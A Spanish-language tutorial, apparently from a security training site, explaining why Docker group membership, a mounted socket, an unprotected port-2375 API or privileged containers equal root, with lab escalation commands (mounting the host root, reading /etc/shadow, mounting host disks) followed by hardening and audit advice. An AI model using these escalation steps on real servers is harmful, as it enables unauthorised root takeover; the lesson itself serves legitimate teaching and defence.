Grupo docker y socket de Docker expuesto: por qué equivalen a root y cómo protegerlos
· 10 min de lectura
Aprende por qué pertenecer al grupo docker o tener acceso al socket de Docker equivale a ser root en el servidor, cómo se escapa de un contenedor privilegiado o con el socket montado, cómo se practica en un laboratorio y cómo usar Docker sin regalar el control del sistema.
Docker se ha convertido en la forma estándar de desplegar aplicaciones, y también en una de las fuentes más comunes de escaladas de privilegios. El motivo es poco conocido por muchos administradores: el servicio de Docker se ejecuta como root, y cualquiera que pueda darle órdenes puede pedirle que haga cosas como root.
Por comodidad, es muy habitual añadir usuarios al grupo docker para no tener que escribir sudo delante de cada comando. Lo que no siempre se sabe es que, con eso, ese usuario puede convertirse en root del servidor con un solo comando. Lo mismo ocurre cuando el socket de Docker se monta dentro de un contenedor o se expone por la red sin protección.
En esta lección vas a ver cómo funciona Docker por dentro, por qué el grupo docker y el socket equivalen a root, cómo se escapa de contenedores mal configurados, cómo se practica en un laboratorio autorizado y cómo usar Docker de forma segura.
Practica estas técnicas solo en sistemas propios o en entornos autorizados, como los laboratorios de whoami-labs. Escalar privilegios o escapar de contenedores en sistemas ajenos sin permiso es un delito.
Cómo funciona Docker por dentro#
Docker tiene dos partes:
- El cliente
docker: el comando que escribes. - El demonio
dockerd: el servicio que de verdad crea y gestiona los contenedores, y que se ejecuta como root.
El cliente le habla al demonio a través de un socket, normalmente el archivo /var/run/docker.sock. Quien pueda escribir en ese socket puede pedirle al demonio cualquier cosa: crear contenedores, montar carpetas del sistema anfitrión dentro de ellos, darles privilegios especiales…

Los permisos del socket suelen ser estos:
ls -l /var/run/docker.sock
srw-rw---- 1 root docker 0 /var/run/docker.sock
Solo root y los miembros del grupo docker pueden usarlo. Por eso, estar en ese grupo es, en la práctica, tener el poder del demonio: el de root.
Por qué el grupo docker equivale a root#
Un contenedor puede montar cualquier carpeta del anfitrión al arrancar. Si un usuario del grupo docker monta la raíz / del servidor dentro de un contenedor en el que él es root, puede leer y modificar todo el sistema de archivos del anfitrión como root: /etc/shadow, /etc/sudoers, las claves SSH de root…
La propia documentación de Docker lo advierte: el grupo docker concede privilegios equivalentes a los del usuario root.
| Situación | Por qué es peligrosa |
|---|---|
| Usuario en el grupo docker | Puede lanzar contenedores que montan / del anfitrión |
| Socket montado dentro de un contenedor | Quien entre en ese contenedor controla el demonio del anfitrión |
| API de Docker expuesta por TCP sin TLS (puerto 2375) | Cualquiera en la red puede controlar el demonio |
Contenedor --privileged | Tiene casi todos los poderes del anfitrión, incluidos sus dispositivos |
Contenedor con capabilities como SYS_ADMIN | Puede montar sistemas de archivos y escapar en muchos casos |
Carpetas sensibles montadas (/, /etc, /root) | El contenedor modifica el anfitrión directamente |
Cómo se detecta#
Desde una cuenta del sistema#
En un laboratorio, tras entrar como un usuario normal, comprueba sus grupos y si puede hablar con Docker:
id
groups
ls -l /var/run/docker.sock
docker ps
Si id muestra el grupo docker, o docker ps funciona sin sudo, ya tienes la vía de escalada.
Desde dentro de un contenedor#
Muchas veces el primer acceso que consigues en un laboratorio es dentro de un contenedor. Para saber si estás en uno y si está mal configurado:
# ¿Estoy en un contenedor?
ls -la /.dockerenv
cat /proc/1/cgroup
# ¿Está el socket del anfitrión montado?
ls -l /var/run/docker.sock
# ¿Qué capabilities tengo? (muchas = probablemente --privileged)
grep CapEff /proc/self/status
# ¿Veo los discos del anfitrión?
ls /dev | head
fdisk -l 2>/dev/null
Un valor de CapEff como 000001ffffffffff (todas las capabilities) y la presencia de discos reales en /dev indican un contenedor privilegiado.
Por la red#
La API de Docker sin cifrar escucha por convención en el puerto 2375 (y con TLS en el 2376). Un escaneo que muestre el 2375 abierto es una señal grave:
nmap -p 2375,2376 -sV IP_DEL_LAB
curl http://IP_DEL_LAB:2375/version
Explotación paso a paso en un laboratorio#
Caso 1: usuario en el grupo docker#
En un laboratorio autorizado, tu usuario pertenece al grupo docker.
Paso 1: lanzar un contenedor que monte la raíz del anfitrión#
docker run --rm -it -v /:/mnt alpine chroot /mnt sh
-v /:/mntmonta la raíz/del servidor en/mntdentro del contenedor.chroot /mnt shcambia la raíz del proceso a esa carpeta y abre una shell.
Paso 2: comprobar el acceso#
id
cat /etc/shadow | head -3
Eres root y estás viendo el sistema de archivos real del servidor, no el del contenedor. Desde aquí podrías añadir una clave SSH a /root/.ssh/authorized_keys o crear un usuario con privilegios. En el laboratorio BREACH practicarás exactamente esta escalada.
Si la máquina no tiene acceso a internet para descargar alpine, usa cualquier imagen que ya exista localmente (docker images las lista).
Caso 2: socket montado dentro de un contenedor#
Si estás dentro de un contenedor y encuentras /var/run/docker.sock, puedes usar ese socket para pedirle al demonio del anfitrión que cree un contenedor nuevo con la raíz montada. Si el contenedor tiene el cliente docker, el comando es el mismo del caso anterior. Si no lo tiene, se puede hablar con la API directamente:
# Listar contenedores del anfitrión a través del socket
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
Caso 3: contenedor privilegiado#
Un contenedor lanzado con --privileged ve los discos del anfitrión. En un laboratorio, se puede montar el disco del servidor y trabajar sobre él:
fdisk -l
mkdir -p /mnt/anfitrion
mount /dev/sda1 /mnt/anfitrion
ls /mnt/anfitrion/root
El nombre del disco (/dev/sda1, /dev/vda1, /dev/nvme0n1p1) depende del sistema; fdisk -l lo indica.
Qué puede lograr un atacante#
| Impacto | Ejemplo real |
|---|---|
| Root en el anfitrión | Montar / y modificar /etc/shadow o las claves SSH |
| Control de todos los contenedores | Leer secretos, variables de entorno y datos de otras aplicaciones |
| Persistencia | Crear un contenedor oculto que se reinicia con el sistema |
| Uso de recursos | Desplegar minería de criptomonedas en servidores con la API expuesta |
| Movimiento lateral | Usar las credenciales de despliegue para llegar a otros servidores |
Cómo se corrige#

Tratar el grupo docker como root#
No añadas al grupo docker a nadie que no deba ser administrador del servidor. Si alguien necesita gestionar contenedores, considera que le estás dando root y aplícale los mismos controles.
Docker en modo rootless#
Docker puede ejecutarse sin root (rootless mode): el demonio corre con un usuario normal, de forma que escapar del contenedor no da root en el anfitrión. Alternativas como Podman funcionan sin demonio y sin root por diseño.
Activar user namespaces#
Con user namespaces, el root de dentro del contenedor se corresponde con un usuario sin privilegios en el anfitrión, lo que reduce mucho el impacto de un escape. Se configura en el demonio con la opción userns-remap.
No montar el socket en contenedores#
Montar /var/run/docker.sock dentro de un contenedor equivale a darle root del anfitrión. Si una herramienta lo necesita (por ejemplo, para monitorizar), limita su acceso con un proxy del socket que solo permita las operaciones de lectura imprescindibles.
Proteger la API de red#
Nunca expongas la API en el puerto 2375 sin cifrar. Si necesitas acceso remoto, usa TLS con certificados de cliente en el 2376, o mejor aún, accede por SSH (docker -H ssh://usuario@servidor).
Contenedores sin privilegios#
- Evita
--privilegedy las carpetas sensibles montadas. - Elimina capabilities innecesarias:
--cap-drop=ALLy añade solo las necesarias. - Usa
--security-opt no-new-privilegesy un usuario no root dentro de la imagen (USER appen el Dockerfile). - Sistemas de archivos de solo lectura cuando sea posible:
--read-only.
Cómo auditar un servidor con Docker#
Si administras un servidor con Docker, revisa periódicamente estos puntos con tus propios ojos, igual que lo haría alguien que buscara una vía de escalada:
# ¿Quién está en el grupo docker?
getent group docker
# ¿El demonio usa rootless o user namespaces?
docker info | grep -iE 'rootless|userns'
# ¿Hay contenedores privilegiados?
docker ps -q | xargs -r docker inspect --format '{{.Name}} privileged={{.HostConfig.Privileged}}'
# ¿Algún contenedor tiene montado el socket o la raíz del anfitrión?
docker ps -q | xargs -r docker inspect --format '{{.Name}} {{range .Mounts}}{{.Source}} {{end}}' \
| grep -E 'docker.sock| / '
Existe además una herramienta oficial de la comunidad, Docker Bench for Security, que comprueba automáticamente decenas de buenas prácticas basadas en la guía CIS de Docker y genera un informe con lo que conviene corregir. Ejecutarla tras cada cambio importante de configuración es una forma sencilla de no dejar puertas abiertas. Y recuerda revisar también los archivos docker-compose.yml: es ahí donde suelen esconderse un privileged: true o un socket montado.
Errores comunes al defenderse#
- Añadir desarrolladores al grupo docker por comodidad. Es darles root del servidor.
- Montar el socket «solo para Portainer» o para herramientas de CI. Quien comprometa esa herramienta controla el anfitrión.
- Abrir el 2375 «para pruebas». Los bots buscan ese puerto constantemente para desplegar minería.
- Creer que el contenedor aísla siempre. Un contenedor privilegiado o con el socket montado no aísla casi nada.
- Ejecutar las aplicaciones como root dentro del contenedor. Facilita cualquier escape.
Preguntas frecuentes#
¿Por qué estar en el grupo docker equivale a root?#
Porque el demonio de Docker corre como root y los miembros del grupo pueden pedirle que lance contenedores que montan cualquier carpeta del anfitrión, incluida la raíz, con permisos de root.
¿Qué es /var/run/docker.sock?#
El socket por el que el cliente docker se comunica con el demonio. Quien pueda escribir en él controla Docker, y por tanto el servidor.
¿Qué es un contenedor privilegiado?#
Uno lanzado con --privileged, que recibe casi todas las capabilities y acceso a los dispositivos del anfitrión. Escapar de él es sencillo, por eso solo debe usarse en casos muy justificados.
¿El modo rootless soluciona el problema?#
Reduce mucho el impacto: si alguien escapa del contenedor o abusa del demonio, obtiene los permisos de un usuario normal, no los de root. Tiene algunas limitaciones de red y almacenamiento que conviene revisar.
¿Dónde practico esto?#
En los laboratorios BREACH y CLOUDSHIP de whoami-labs, enlazados al final de esta lección, que cubren el abuso del grupo docker, el socket expuesto y el escape de contenedores.
Resumen#
- El demonio de Docker corre como root; quien controla su socket controla el servidor.
- El grupo docker, el socket montado en un contenedor, la API sin TLS y los contenedores privilegiados equivalen a dar root.
- Se detecta con
id, los permisos de/var/run/docker.sock, las capabilities del contenedor y escaneando los puertos 2375/2376. - Se corrige tratando el grupo docker como root, usando rootless o user namespaces, sin montar el socket, con TLS en la API y contenedores sin privilegios.